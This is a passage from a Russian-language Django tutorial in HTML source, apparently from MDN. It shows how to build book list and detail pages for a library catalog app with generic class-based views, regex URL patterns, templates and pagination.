списка книг при помощи обычной функции (также, как мы сделали это для главной страницы сайта), которая должны была бы выполнить запрос получения всех книг из базы данных, затем вызвать функцию <code>render()</code>, в которую передать данный список, в соответствующий шаблон страницы. Тем не менее, вместо это мы будем использовать обобщенный класс отображения списка — класс, который наследуется от существующего отображения (ListView). Поскольку обобщенный класс уже реализует большую часть того, что нам нужно, и следуя лучшим практикам Django, мы сможем создать более эффективный список при помощи меньшего количества кода, меньшего количества повторений и гораздо лучшей поддержкой.</p> + +<p>Откройте <strong>catalog/views.py</strong> и скопируйте следующий код, в нижнюю часть данного файла:</p> + +<pre class="brush: python">from django.views import generic + +class BookListView(generic.ListView): + model = Book</pre> + +<p>Это всё! Обобщенное отображение выполнит запрос к базе данных, получит все записи заданной модели (<code>Book</code>), затем отрендерит (отрисует) соответствующий шаблон, расположенный в <strong>/locallibrary/catalog/templates/catalog/book_list.html</strong> (который мы создадим позже). Внутри данного шаблона вы можете получить доступ к списку книг при помощи переменной шаблона <code>object_list</code> ИЛИ <code>book_list</code> (если обобщить, то "<code><em>the_model_name</em>_list</code>").</p> + +<div class="note"> +<p><strong>Примечание</strong>: Этот, выглядящий странно, путь к файлу шаблона не является опечаткой — обобщенное отображение ищет файл шаблона <code>/<em>application_name</em>/<em>the_model_name</em>_list.html</code> (<code>catalog/book_list.html</code>, в данном случае) внутри директории приложения <code>/<em>application_name</em>/templates/</code> (у нас - <code>/catalog/templates/)</code>.</p> +</div> + +<p>Вы можете использовать атрибуты для того, чтобы изменить поведение по умолчанию. Например, вы могли бы указать другой файл шаблона, например, если в вашем распоряжении имеется несколько отображений, которые используют одну и ту же модель, или вам позарез захотелось бы использовать другое имя переменной шаблона, если <code>book_list</code> не является интуитивно понятным. Возможно, наиболее полезным вариантом является изменение/отфильтрование результата запроса к базе данных — таким образом, вместо перечисления всех книг вы могли бы показывать 5 наиболее популярных.</p> + +<pre class="brush: python">class BookListView(generic.ListView): + model = Book + context_object_name = 'my_book_list' # ваше собственное имя переменной контекста в шаблоне + queryset = Book.objects.filter(title__icontains='war')[:5] # Получение 5 книг, содержащих слово 'war' в заголовке + template_name = 'books/my_arbitrary_template_name_list.html' # Определение имени вашего шаблона и его расположения</pre> + +<h4 id="Переопределение_методов_в_классах_отображения">Переопределение методов в классах отображения</h4> + +<p>Пока что вам не приходилось этого делать, но у вас имеется возможность переопределять некоторые методы класса отображения.</p> + +<p>Например, мы можем переопределить метод получения списка всех записей <code>get_queryset()</code>. Данный подход является более гибким, чем использование атрибута <code>queryset</code>, как мы сделали в предыдущем фрагменте кода (хотя, в данном случае и нет никакой разницы):</p> + +<pre class="brush: python">class BookListView(generic.ListView): + model = Book + + def get_queryset(self): + return Book.objects.filter(title__icontains='war')[:5] # Получить 5 книг, содержащих 'war' в заголовке +</pre> + +<p>Мы также могли бы переопределить метод <code>get_context_data()</code> для того, чтобы в контексте (в переменной контекста) передавать шаблону дополнительные переменные (например, список книг передается по умолчанию). Фрагмент, представленный ниже, показывает как добавить переменную с именем "some_data" в контекст (затем она будет доступна как переменная шаблона).</p> + +<pre class="brush: python">class BookListView(generic.ListView): + model = Book + + def get_context_data(self, **kwargs): + # В первую очередь получаем базовую реализацию контекста + context = super(BookListView, self).get_context_data(**kwargs) + # Добавляем новую переменную к контексту и иниуиализируем ее некоторым значением + context['some_data'] = 'This is just some data' + return context</pre> + +<p>В процессе выполнения всего этого важно придерживаться определенной последовательности действий:</p> + +<ul> + <li>В первую очередь - получить существующий контекст из нашего суперкласса.</li> + <li>Затем добавить в контекст новую информацию.</li> + <li>Затем вернуть новый (обновленный) контекст.</li> +</ul> + +<div class="note"> +<p><strong>Примечание</strong>: Посмотрите <a href="https://docs.djangoproject.com/en/1.10/topics/class-based-views/generic-display/">Встроенные обобщенные классы отображения</a> (Django docs) для ознакомления с большим количеством примеров того, что вы могли бы сделать.</p> +</div> + +<h3 id="Создание_шаблона_Отображения_Списка">Создание шаблона Отображения Списка</h3> + +<p>Создайте HTML-файл <strong>/locallibrary/catalog/templates/catalog/book_list.html</strong> и скопируйте в него текст, указанный ниже. Как было отмечено ранее, это файл шаблона по умолчанию, который будет "искать" обобщенный класс отображения списка (для модели с именем <code>Book</code> в приложении с именем <code>catalog</code>).</p> + +<p>Шаблоны для обобщенных отображений такие же как все остальные шаблоны (хотя, естественно, передаваемые в них контекст, или информация могут отличаться). Так же как и с нашим шаблоном для главной страницы, в первой строке мы расширяем наш базовый шаблон, а затем определяем и замещаем блок с именем <code>content</code>.</p> + +<pre class="brush: html">{% extends "base_generic.html" %} + +{% block content %} + <h1>Book List</h1> + + <strong>{% if book_list %}</strong> + <ul> + + {% for book in book_list %} + <li> + <a href="\{{ book.get_absolute_url }}">\{{ book.title }}</a> (\{{book.author}}) + </li> + {% endfor %} + + </ul> + <strong>{% else %}</strong> + <p>There are no books in the library.</p> + <strong>{% endif %} </strong> +{% endblock %}</pre> + +<p>По умолчанию отображение передает контекст (список книг) как <code>object_list</code> и <code>book_list</code> (синонимы; оба варианта будут работать).</p> + +<h4 id="Условные_ветвления">Условные ветвления</h4> + +<p>Мы применяем теги шаблона <code><a href="https://docs.djangoproject.com/en/1.10/ref/templates/builtins/#if">if</a></code>, <code>else</code> и <code>endif</code> для того, чтобы проверить определена ли переменная <code>book_list</code> и содержит ли она данные. Если список НЕ пуст, тогда мы выполняем итерации по списку книг. Если список пуст (<code>else</code>-случай) тогда мы показываем текст, поясняющий, что в наличии нет книг.</p> + +<pre class="brush: html"><strong>{% if book_list %}</strong> + <!-- здесь наш код "бежит" по списку книг --> +<strong>{% else %}</strong> + <p>В библиотеке книг нет.</p> +<strong>{% endif %}</strong> +</pre> + +<p>В данном фрагменте проверяется только одно условие, но вы можете протестировать другие варианты при помощи тэга шаблона <code>elif</code> (например, <code>{% elif var2 %}</code> ). Для дополнительной информации по данной теме смотрите: <a href="https://docs.djangoproject.com/en/1.10/ref/templates/builtins/#if">if</a>, <a href="https://docs.djangoproject.com/en/1.10/ref/templates/builtins/#ifequal-and-ifnotequal">ifequal/ifnotequal</a> и <a href="https://docs.djangoproject.com/en/1.10/ref/templates/builtins/#ifchanged">ifchanged</a> в главе <a href="https://docs.djangoproject.com/en/1.10/ref/templates/builtins">Встроенные тэги и фильтры шаблона</a> (Django Docs).</p> + +<h4 id="Цикл_For">Цикл For</h4> + +<p>Шаблон использует тэги <a href="https://docs.djangoproject.com/en/1.10/ref/templates/builtins/#for">for</a> и <code>endfor</code> для того, чтобы "пробежаться" по списку книг, как показано ниже. На каждой итерации (каждом цикле) в переменную шаблона <code>book</code> передается информация текущего эелемента списка.</p> + +<pre class="brush: html">{% for <strong>book</strong> in book_list %} + <li> <!-- здесь код, который использует информацию из каждого элемента <strong>book </strong>списка--> </li> +{% endfor %} +</pre> + +<p>Мы не применяем здесь, но внутри каждого цикла Django создает переменные, которые вы можете использовать при итерации. Например, вы можете проверять переменную <code>forloop.last</code> (указывает на последнюю итерацию в цикле) для выполнения каких-либо завершающих действий для данного цикла.</p> + +<h4 id="Доступ_к_переменным">Доступ к переменным</h4> + +<p>Код внутри цикла создает экземпляр для каждой книги из списка, при помощи которой показывается заголовок (как ссылка на "скоро-будет-сделано" подробное отображение) и автора книги.</p> + +<pre class="brush: html"><a href="\{{ book.get_absolute_url }}">\{{ book.title }}</a> (\{{book.author}}) +</pre> + +<p>Мы получаем доступ к <em>полям</em> соответствующей записи о книге при помощи "дот-нотации", то есть через точку (например, <code>book.title</code> и <code>book.author</code>), где текст, который идет после <code>book</code>, является именем поля (так, как определено в модели).</p> + +<p>Кроме того, внутри нашего шаблона, мы можем вызывать <em>функции</em> модели — в данном случае, мы вызываем <code>Book.get_absolute_url()</code> для получения URL-адреса, который мы используем для показа детальной информации о книге. Данный вызов работает только для функции у которой нет аргументов (в шаблоне не существует возможности передать аргументы в функцию!)</p> + +<div class="note"> +<p><strong>Примечание</strong>: Мы должны быть достаточно осмотрительными для того, чтобы избегать "сторонних эффектов" когда мы вызываем функции из шаблона. В данном случае мы просто получаем URL-адрес, но функции могут делать все что угодно — мы не хотели бы "убить" наша базу данных (например) просто отрендеривая наш шаблон!</p> +</div> + +<h4 id="Обновление_базового_шаблона">Обновление базового шаблона</h4> + +<p>Откройте файл базового шаблона (<strong>/locallibrary/catalog/templates/<em>base_generic.html</em></strong>) и вставьте <strong>{% url 'books' %} </strong> в URL-ссылку для пункта <strong>All books</strong>, как показано ниже. Тем самым, мы создали "переход" на страницу с книгами (теперь мы можем смело это сделать, поскольку у нас имеется соответствующее "книжное" url-преобразование).</p> + +<pre class="brush: python"><li><a href="{% url 'index' %}">Home</a></li> +<strong><li><a href="{% url 'books' %}">All books</a></li></strong> +<li><a href="">All authors</a></li></pre> + +<h3 id="Как_же_теперь_все_это_выглядит">Как же теперь все это выглядит?</h3> + +<p>Пока что у вас нет возможности создать список книг, потому что мы не учли еще необходимые зависимости — преобразование URL-адреса для страниц с подробной информации о книге, которое необходимо для ссылок на отдельные книги. Мы покажем страницы со списком и подробной информацией о книге после следующего раздела.</p> + +<h2 id="Страница_с_подробной_информацией_о_книге">Страница с подробной информацией о книге</h2> + +<p>Доступ к странице с подробной информацией о книге осуществляется при помощи URL-адреса <code>catalog/book/<em><id></em></code> (где <code><em><id></em></code> является первичным ключом для данной книги). В дополнение к полям модели <code>Book</code> (автор, краткое содержание, ISBN, язык и жанр), также мы перечислим детали доступных экземпляров книги (<code>BookInstances</code>) включая их статус, ожидаемую дату возврата, штамп (imprint) и id. Это должно позволить нашим читателям не просто узнать о книге, но также убедиться, имеется ли она в наличии и/или когда будет доступна.</p> + +<h3 id="URL-преобразования">URL-преобразования</h3> + +<p>Откройте <strong>/catalog/urls.py</strong> и добавьте '<strong>book-detail</strong>' URL-преобразование, отмеченное жирным в следующем фрагменте. Эта функция <code>url()</code> определяет паттерн, связанный с обобщенным классом отображения детальной информации, а также имя для данной связи.</p> + +<pre class="brush: python">from django.urls import path +from . import views +<strong>from django.conf.urls import url</strong> + +urlpatterns = [ + url(r'^$', views.index, name='index'), + url(r'^books/$', views.BookListView.as_view(), name='books'), + <strong>url(r'^book/(?P<pk>\d+)$', views.BookDetailView.as_view(), name='book-detail'),</strong> +]</pre> + +<p>В отличие от предыдущих преобразований, в данном случае мы применяем наше регулярное выражение (РВ) для сопоставления "настоящего паттерна", а не просто строки. Данное РВ сопоставляет любой URL-адрес, который начинается с <code>book/</code>, за которым до конца строки (до маркера конца строки - $) следуют одна, или более <em>цифр</em>. В процессе выполнения данного преобразования, оно "захватывает" цифры и передает их в функцию отображения как параметр с именем <code>pk</code>.</p> + +<div class="note"> +<p><strong>Примечание</strong>: как было отмечено ранее, наш преоразуемый URL-адрес в реальности выглядит вот так <code>catalog/book/<digits></code> (потому что мы находимся в приложении <strong>catalog</strong>, то подразумевается каталог <code>/catalog/</code>).</p> +</div> + +<div class="warning"> +<p><strong>Важно</strong>: Обобщенный класс отображения подробной информации ожидает получить параметр с именем pk. Если вы пишете свою собственную функцию отображения, то тогда вы можете использовать параметр с любым именем, который пожелаете, или вообще передавать информацию в безымянном аргументе.</p> +</div> + +<h4 id="Отдельный_пример_с_регулярными_выражениями">Отдельный пример с регулярными выражениями</h4> + +<p>Паттерны <a href="https://docs.python.org/3/library/re.html">регулярного выражения</a> является невероятно мощным инструментом преобразования. Пока что, мы не очень много говорили о них, поскольку мы сопоставляли URL-адреса с простыми строками (а не паттернами), и потому что они не интуитивны и пугающи для начинающих.</p> + +<div class="note"> +<p><strong>Примечание</strong>: Без паники! Мы будем рассматривать и использовать достаточно простые паттерны и при этом хорошо задокументированные!</p> +</div> + +<p>В первую очередь вы должны знать что обычно регулярные выражения объявляются при помощи строкового литерала (то есть, они заключены в кавычки: <strong>r'<ваше регулярное выражение>'</strong>).</p> + +<p>Главными элементами синтаксиса объявления паттерна, который вы должны знать, являются:</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Символ</th> + <th scope="col">Значение</th> + </tr> + </thead> + <tbody> + <tr> + <td>^</td> + <td>Соответствует началу строки</td> + </tr> + <tr> + <td>$</td> + <td>Соответствует концу строки</td> + </tr> + <tr> + <td>\d</td> + <td>Соответствует цифре (0, 1, 2, ... 9)</td> + </tr> + <tr> + <td>\w</td> + <td>Соответствует любому символу из алфавита в верхнем- или нижнем- регистре, цифре, или символу подчеркивания (_)</td> + </tr> + <tr> + <td>+</td> + <td>Соответствует <strong>одному, или более</strong> предыдущему символу. Например, для соответствия <strong>одной, или более</strong> цифре вы должны использовать <code>\d+</code>. Для <strong>одного и более</strong> символа "a", вы можете использовать <code>a+</code></td> + </tr> + <tr> + <td>*</td> + <td>Соответствует отсутствию вообще, или присутствию <strong>одного, или более</strong> предыдущему символу. Например, для соответствия "ничему", или слову (то есть, любому символу) вы можете использовать <code>\w*</code></td> + </tr> + <tr> + <td>( )</td> + <td>Захват части паттерна внутри скобок. Любое захваченное значение будет передано отображению как безымянный параметр (если захватывается множество паттернов, то соответствующие параметры будут поставляться в порядке их объявления).</td> + </tr> + <tr> + <td>(?P<name>...)</td> + <td>Захват части паттерна (обозначеного через ...) как именованной переменной (в данном случае <name>). Захваченные значения передаются в отображение с определенным именем. Таким образом, ваше отображение должно объявить аргумент с тем же самым именем!</td> + </tr> + <tr> + <td>[ ]</td> + <td>Соответствует одному символу из множества. Например, [abc] будет соответствовать либо 'a', или 'b', или 'c'. [-\w] будет соответствовать либо символу '-' , или любому другому словарному символу.</td> + </tr> + </tbody> +</table> + +<p>Большинство других символов могут быть заданы буквально!</p> + +<p>Давайте рассмотрим несколько реальных примеров паттернов:</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Паттерн</th> + <th scope="col">Описание</th> + </tr> + </thead> + <tbody> + <tr> + <td><strong>r'^book/(?P<pk>\d+)$'</strong></td> + <td> + <p>Это РВ применяется в нашем url-преобразовании. Оно соответствует строке, которая начинается с <code>book/</code> (<strong>^book/</strong>), затем имеет одну, или более цифр (<code>\d+</code>), а затем завершается (цифрой и только цифрой).</p> + + <p>Оно также захватывает все цифры <strong>(?P<pk>\d+)</strong> и передает их в отображение, в параметре с именем 'pk'. <strong>Захваченные значения всегда передаются как строка!</strong></p> + + <p>Например, данному паттерну должна соответствовать следующая строка <code>book/1234</code> , которая отправляет переменную <code>pk='1234'</code> в отображение.</p> + </td> + </tr> + <tr> + <td><strong>r'^book/(\d+)$'</strong></td> + <td>Этот паттерн соответствует тем же самым URL-адресам как и в предыдущем случае. Захваченная информация будет отправлена в отображение как безымянный параметр.</td> + </tr> + <tr> + <td><strong>r'^book/(?P<stub>[-\w]+)$'</strong></td> + <td> + <p>Данный паттерн соответствует строке, которая начинается с <code>book/</code> (<strong>^book/</strong>), затем идут один, или более символов либо '-', или словарные символы (<strong>[-\w]+</strong>), а затем завершается. Он также захватывает данное множество символов и передает их в отображение в параметре с именем 'stub'.</p> + + <p>Это довольно типичный паттерн для "стаба". Стабы являются дружественными URL-адресами - первичными ключами для данных. Вы могли бы применить стаб, если вы захотели бы, чтобы URL-адрес вашей книги был более информативным. Например, <code>/catalog/book/the-secret-garden</code>, выглядит немного лучше чем <code>/catalog/book/33</code>.</p> + </td> + </tr> + </tbody> +</table> + +<p>Вы можете захватить (указать) несколько паттернов в одном преобразовании и, тем самым, закодировать много различной информации в URL-адресе.</p> + +<div class="note"> +<p><strong>Примечание</strong>: В качестве дополнительного задания, рассмотрите возможность того, как вы могли бы закодировать url на список всех книг, вышедших в определенный год, месяц, день и какое РВ (паттерн) должно соответствовать этому.</p> +</div> + +<h4 id="Передача_дополнительных_настроек_в_ваши_преобразования_URL-адресов">Передача дополнительных настроек в ваши преобразования URL-адресов</h4> + +<p>Одной возможностью, которую мы не применяли здесь, но которая могла бы быть вам полезной, является то, что вы можете объявлять и передавать <a href="https://docs.djangoproject.com/en/1.10/topics/http/urls/#views-extra-options">дополнительные настройки</a> в отображения. Данные настройки объявляются как словарь, который вы передаете как третий безымянный аргумент функции <code>url()</code>. Этот способ может быть полезен, если вы хотите воспользоваться тем же самым отображением для нескольких ресурсов и передавать данные для изменения его поведения в каждом отдельном случае (ниже, мы передаем разные имена шаблонов).</p> + +<pre class="brush: python">url(r'^/url/$', views.my_reused_view, {'my_template_name': 'some_path'}, name='aurl'), +url(r'^/anotherurl/$', views.my_reused_view, {'my_template_name': 'another_path'}, name='anotherurl'), + +</pre> + +<div class="note"> +<p><strong>Примечание:</strong> И дополнительные настройки, и именованные захваченные паттерны передаются в отображение как именованные параметры. Если вы используете одинаковое имя и для захваченного паттерна и для дополнительной настройки, то последняя будет отброшена, а в отображение будет передано значение захваченного паттерна. </p> +</div> + +<h3 id="Отображение_(на_основе_класса)">Отображение (на основе класса)</h3> + +<p>Откройте <strong>catalog/views.py</strong>, и скопируйте следующий код в нижнюю часть файла:</p> + +<pre class="brush: python">class BookDetailView(generic.DetailView): + model = Book</pre> + +<p>Это всё! Все что вам надо теперь сделать это создать шаблон с именем <strong>/locallibrary/catalog/templates/catalog/book_detail.html</strong>, а отображение передаст ему информацию из базы данных для определенной записи <code>Book,</code>выделенной при помощи URL-преобразования. Внутри шаблона вы можете получить доступ к списку книг при помощи переменной с именем <code>object</code> или <code>book</code> (обобщённо "<code><em>the_model_name</em></code>").</p> + +<p>Если у вас имеется необходимость, то вы можете изменить текущий шаблон и/или имя объекта контекста, используемого для ссылки на книгу в шаблоне. Кроме того, вы можете переопределить методы, например, для добавления дополнительной информации к контексту.</p> + +<h4 id="Что_произойдет_если_записи_не_существует">Что произойдет, если записи не существует?</h4> + +<p>Если запрашиваемой записи не существует, тогда обобщенный класс отображения подробной информации автоматически "выкинет" исключение Http404 — в продакшине это приведет к автоматическому отображению страницы с текстом "resource not found" ("ресурс не найден"), которую, конечно же, вы можете настроить по своему усмотрению.</p> + +<p>Просто для иллюстрации идеи как это могло бы работать, мы приведем фрагмент кода, демонстрирующего возможную реализацию отображения в виде функции, если по каким-либо причинам вы не используете отображение на основе обобщенного класса.</p> + +<pre class="brush: python">def book_detail_view(request,pk): + try: + book_id=Book.objects.get(pk=pk) + except Book.DoesNotExist: + raise Http404("Book does not exist") + + #book_id=get_object_or_404(Book, pk=pk) + + return render( + request, + 'catalog/book_detail.html', + context={'book':book_id,} + ) +</pre> + +<p>В первую очередь отображение пытается получить определенную запись о книге из модели. Если ей это не удается, то "выбрасывается" исключение <code>Http404</code>, которое сигнализирует, что данная книга не найдена "not found". Последним шагом является, как обычно, вызов функции <code>render()</code> с именем соответствующего шаблона и данных о книге, передаваемых в параметре с именем <code>context</code> (в виде словаря).</p> + +<div class="note"> +<p><strong>Примечание</strong>: Функция <code>get_object_or_404()</code> (показана закомментированной) является удобным "ярлыком" для генерации исключения <code>Http404</code> если запись не найдена.</p> +</div> + +<h3 id="Создание_шаблона_детальной_информации">Создание шаблона детальной информации</h3> + +<p>Создайте HTML файл <strong>/locallibrary/catalog/templates/catalog/book_detail.html</strong> и скопируйте в него содержимое, представленное ниже. Как было указано ранее, это шаблон "по умолчанию" (имя шаблона), который "ожидается"обобщенным классом отображения детальной информации (для модели с именем <code>Book</code> в приложении с именем <code>catalog</code>).</p> + +<pre class="brush: html">{% extends "base_generic.html" %} + +{% block content %} + <h1>Title: \{{ book.title }}</h1> + + <p><strong>Author:</strong> <a href="">\{{ book.author }}</a></p> <!-- author detail link not yet defined --> + <p><strong>Summary:</strong> \{{ book.summary }}</p> + <p><strong>ISBN:</strong> \{{ book.isbn }}</p> + <p><strong>Language:</strong> \{{ book.language }}</p> + <p><strong>Genre:</strong> {% for genre in book.genre.all %} \{{ genre }}{% if not forloop.last %}, {% endif %}{% endfor %}</p> + + <div style="margin-left:20px;margin-top:20px"> + <h4>Copies</h4> + + {% for copy in book.bookinstance_set.all %} + <hr> + <p class="{% if copy.status == 'a' %}text-success{% elif copy.status == 'd' %}text-danger{% else %}text-warning{% endif %}">\{{ copy.get_status_display }}</p> + {% if copy.status != 'a' %}<p><strong>Due to be returned:</strong> \{{copy.due_back}}</p>{% endif %} + <p><strong>Imprint:</strong> \{{copy.imprint}}</p> + <p class="text-muted"><strong>Id:</strong> \{{copy.id}}</p> + {% endfor %} + </div> +{% endblock %}</pre> + +<ul> +</ul> + +<div class="note"> +<p>Ссылка на автора в шаблоне содержит пустой URL-адрес, потому что мы еще не создали страницу детальной информации об авторе. Когда это произойдет, вы должны будете обновить данный URL-адрес как указано ниже:</p> + +<pre><a href="<strong>{% url 'author-detail' book.author.pk %}</strong>">\{{ book.author }}</a> +</pre> +</div> + +<p>Хотя и несколько больше, но почти все в данном шаблоне нам уже встречалось ранее:</p> + +<ul> + <li>Мы расширяем наш базовый шаблон и переопределяем блок <code>content</code>.</li> + <li>Мы используем условие <code>if</code> для показа того, или иного содержимого.</li> + <li>Мы используем циклы <code>for</code> того, чтобы пробежаться по элементам (объектам) в соответствующих списках.</li> + <li>Мы получаем доступ к полям контекста при помощи "дот-нотации" (поскольку мы использовали обобщенный класс отображения детальной информации, то контекст имеет имя <code>book</code>; также можем использовать имя <code>object</code>)</li> +</ul> + +<p>Одной интересной вещью, которую мы не видели ранее, является функция <code>book.bookinstance_set.all()</code>. Данный метод является "автомагически"-сконструированным Django для того, чтобы вернуть множество записей <code>BookInstance</code>, связанных с данной книгой <code>Book</code>.</p> + +<pre class="brush: python">{% for copy in book.bookinstance_set.all %} +<!-- итерации по каждой копии/экземпляру книги --> +{% endfor %}</pre> + +<p>Этот метод создан, потому что вы, на стороне "многим" данной связи, объявили поле <code>ForeignKey</code> (один-ко многим). Поскольку вы ничего не объявили на другой стороне ("один") данной модели (то есть, модель <code>Book</code> "ничего не знает" про модель <code>BookInstance</code>), то она не имеет никакой возможности (по умолчанию) для получения множества соответствующих записей. Для того, чтобы обойти эту проблему, Django конструирует соответствующую функцию "обратного просмотра" ("reverse lookup"), которой вы можете воспользоваться. Имя данной функции создается в нижнем регистре и состоит из имени модели, в которой был объявлен <code>ForeignKey</code> (то есть, <code>bookinstance</code>), за которым следует <code>_set</code> (то есть функция, созданная для <code>Book</code> будет иметь вид <code>bookinstance_set()</code>).</p> + +<div class="note"> +<p><strong>Примечание</strong>: Здесь мы используем <code>all()</code> для получения всех записей (по умолчанию). Вы, наверное, могли бы использовать метод <code>filter()</code> для получения подмножетсва записей в коде, но, к сожалению, вы НЕ можете применить данный вызов в шаблоне, потому что вы не можете передать в нем (в шаблоне) аргументы в функцию.</p> + +<p>Обратите внимание, что если вы не определяете порядок выдачи данных (в вашем отображении, или в модели), то сервер разработки "выкинет" сообщения об ошибках, похожие на следующие:</p> + +<pre>[29/May/2017 18:37:53] "GET /catalog/books/?page=1 HTTP/1.1" 200 1637 +/foo/local_library/venv/lib/python3.5/site-packages/django/views/generic/list.py:99: UnorderedObjectListWarning: Pagination may yield inconsistent results with an unordered object_list: <QuerySet [<Author: Ortiz, David>, <Author: H. McRaven, William>, <Author: Leigh, Melinda>]> + allow_empty_first_page=allow_empty_first_page, **kwargs) +</pre> + +<p>Это случилось потому что, <a href="https://docs.djangoproject.com/en/1.10/topics/pagination/#paginator-objects">paginator object</a> (далее объект постраничного вывода) ожидает видеть некую упорядоченность ORDER BY при запросе к базе данных. Без этого, он не сможет гарантировать правильный вывод полученных данных!<strong> </strong></p> + +<p>Данное руководство пока не дошло до описания <strong>Pagination</strong> (пока, но скоро будет), и поскольку вы не можете использовать функцию <code>sort_by()</code> и передавать параметр (по той же причине, что и <code>filter()</code>) вы должны выбрать один из трех вариантов дальнейших действий:</p> + +<ol> + <li>Добавить атрибут <code>ordering</code> внутри <code>Meta-класса</code> объявленного в вашей модели.</li> + <li>Добавить атрибут <code>queryset</code> в вашей реализации класса отображения, определяющего <code>order_by()</code>.</li> + <li>Добавить метод <code>get_queryset</code> в вашу реализацию класса отображения и также определить метод <code>order_by()</code>.</li> +</ol> + +<p>Если вы выбрали пункт номер один с <code>Meta-классом</code> для модели Author (вероятно, не такой гибкий как вариант с настройкой класса отображения, но тем не менее, достаточно простой), вы должны прийти к чему-то похожему на следующее:</p> + +<pre>class Author(models.Model): + first_name = models.CharField(max_length=100) + last_name = models.CharField(max_length=100) + date_of_birth = models.DateField(null=True, blank=True) + date_of_death = models.DateField('Died', null=True, blank=True) + + def get_absolute_url(self): + return reverse('author-detail', args=[str(self.id)]) + + def __str__(self): + return '%s, %s' % (self.last_name, self.first_name) + +<strong> class Meta: + ordering = ['last_name']</strong></pre> + +<p>Конечно же, поле не обязательно должно иметь имя <code>last_name</code>: оно может быть любым.</p> + +<p>И последнее, но не окончательное, вы должны сортировать по атрибуту/колонке, которая была проиндексирована (уникально, или нет) в вашей базе данных для того, чтобы избежать проблем с быстродействием. Конечно, это не является необходимым в данном примере (и мы, вероятно, забегаем далеко вперед), если у нас такое небольшое количество книг (и пользователей!), но это необходимо помнить для будущих проектов.</p> +</div> + +<h2 id="Как_это_теперь_выглядит">Как это теперь выглядит?</h2> + +<p>На данный момент мы должны были создать все необходимое для показа страниц со списком книг и детальной информацией. Запустите сервер (<code>python3 manage.py runserver</code>) и откройте ваш браузер <a href="http://127.0.0.1:8000/">http://127.0.0.1:8000/</a>.</p> + +<div class="warning"> +<p><strong>Предупреждение:</strong> Не кликайте на каком-либо авторе, - ссылки пока не заданы — это будет вашим дополнительным заданием!</p> +</div> + +<p>Кликните ссылку <strong>All books</strong> для перехода на страницу со списком книг. </p> + +<p><img alt="Book List Page" src="https://mdn.mozillademos.org/files/14049/book_list_page_no_pagination.png" style="border-style: solid; border-width: 1px; display: block; height: 216px; margin: 0px auto; width: 823px;"></p> + +<p>Затем кликните на ссылку одной из ваших книг. Если все настроено как надо, то вы должны увидеть то, что указано на картинке.</p> + +<p><img alt="Book Detail Page" src="https://mdn.mozillademos.org/files/14051/book_detail_page_no_pagination.png" style="border-style: solid; border-width: 1px; display: block; height: 783px; margin: 0px auto; width: 926px;"></p> + +<h2 id="Постраничный_вывод_(Pagination)">Постраничный вывод (Pagination)</h2> + +<p>Если у вас всего лишь несколько записей в базе данных, то наша страница вывода списка книг будет выглядеть отлично. Тем не менее, когда у вас появятся десятки, или сотни записей ваша страница станет значительно дольше загружаться (и станет слишком длинной для комфортного просмотра). Решением данной проблемы является добавление постраничного вывода (Pagination) к вашему отображению списка, который будет выводить ограниченное количество элементов на каждой странице.</p> + +<p>Django имеет отличный встроенный механизм для постраничного вывода. Даже более того, он встроен в обобщенный класс отображения списков, следовательно вам не нужно проделывать большой объем работы, чтобы воспользоваться возможностями постраничного вывода!</p> + +<h3 id="Отображения">Отображения</h3> + +<p>Откройте <strong>catalog/views.py</strong> и добавьте поле <code>paginate_by</code> как показано жирным в следующем фрагменте.</p> + +<pre class="brush: python">class BookListView(generic.ListView): + model = Book + <strong>paginate_by = 10</strong></pre> + +<p>Как только у вас появится более 10 записей в базе данных отображение начнет формировать постраничный вывод данных, которые он передает шаблону. К различным страницам данного вывода можно получить доступ при помощи параметров GET-запроса — к странице 2 вы можете получить доступ, используя URL-адрес: <code>/catalog/books/<strong>?page=2</strong></code>.</p> + +<h3 id="Шаблоны">Шаблоны</h3> + +<p>Теперь, когда данные выводятся постранично, нам надо добавить функционал переключения между страницами в шаблона страницы. Поскольку мы хотели бы использовать данный механизм для всех списков на сайте, то мы пропишем его в базовом шаблоне сайта.</p> + +<p>Откройте <strong>/locallibrary/catalog/templates/<em>base_generic.html</em></strong> и, ниже блока <code>content</code>, вставьте блок (во фрагменте не выделен жирным), отвечающий за постраничный вывод. Данный код, в первую очередь, проверяет "включен" ли механизм постраничного вывода для данной страницы и если это так, то он добавляет ссылки <code>next</code> и <code>previous,</code>соответственно (а также, номер текущей страницы). </p> + +<pre class="brush: python"><strong>{% block content %}{% endblock %}</strong> + +{% block pagination %} + {% if is_paginated %} + <div class="pagination"> + <span class="page-links"> + {% if page_obj.has_previous %} + <a href="\{{ request.path }}?page=\{{ page_obj.previous_page_number }}">previous</a> + {% endif %} + <span class="page-current"> + Page \{{ page_obj.number }} of \{{ page_obj.paginator.num_pages }}. + </span> + {% if page_obj.has_next %} + <a href="\{{ request.path }}?page=\{{ page_obj.next_page_number }}">next</a> + {% endif %} + </span> + </div> + {% endif %} +{% endblock %} </pre> + +<p>Параметр <code>page_obj</code> является объектом типа <a href="https://docs.djangoproject.com/en/1.10/topics/pagination/#paginator-objects">Paginator</a>, который будет создаваться каждый раз, когда будет применяться постраничный вывод данных для текущей страницы. Он позволяет получить всю информацию о текущей странице, о предыдущих страницах, сколько всего страниц и так далее. </p> + +<p>Мы используем <code>\{{ request.path }}</code> для получения URL-адреса текущей страницы, для того, чтобы создать ссылки на соответствующие страницы, обратите внимание, что данный вызов не зависит от объекта <code>page_obj</code>и, таким образом, может использоваться отдельно.</p> + +<p>На этом все!</p> + +<h3 id="Как_это_выглядит">Как это выглядит?</h3> + +<p>Картинка ниже показывает как выглядит постраничный вывод — если вы не добавили более 10 записей в вашу базу данных, тогда вы можете проверить как это работает, просто уменьшив значение в <code>paginate_by,</code> в файле <strong>catalog/views.py</strong>. Для получения результата, соответствующего картинке ниже, мы изменили<code>paginate_by = 2</code>.</p> + +<p>Ссылки на страницы показаны в нижней части страницы. Показаны ссылки следующая/предыдущая в зависимости от того на какой странице вы в данный момент находитесь.</p> + +<p><img alt="Book List Page - paginated" src="https://mdn.mozillademos.org/files/14057/book_list_paginated.png" style="border-style: solid; border-width: 1px; display: block; height: 216px; margin: 0px auto; width: 924px;"></p> + +<h2 id="Проверьте_себя">Проверьте себя</h2> + +<p>Дополнительным задание в данной статье и для завершения данного этапа проекта будет создание отображений детальной информации об авторе и их списка. Эти отображения должны находиться по следующим адресам:</p> + +<ul> + <li><code>catalog/authors/</code> — Список авторов.</li> + <li><code>catalog/author/<em><id></em></code><em> </em>— 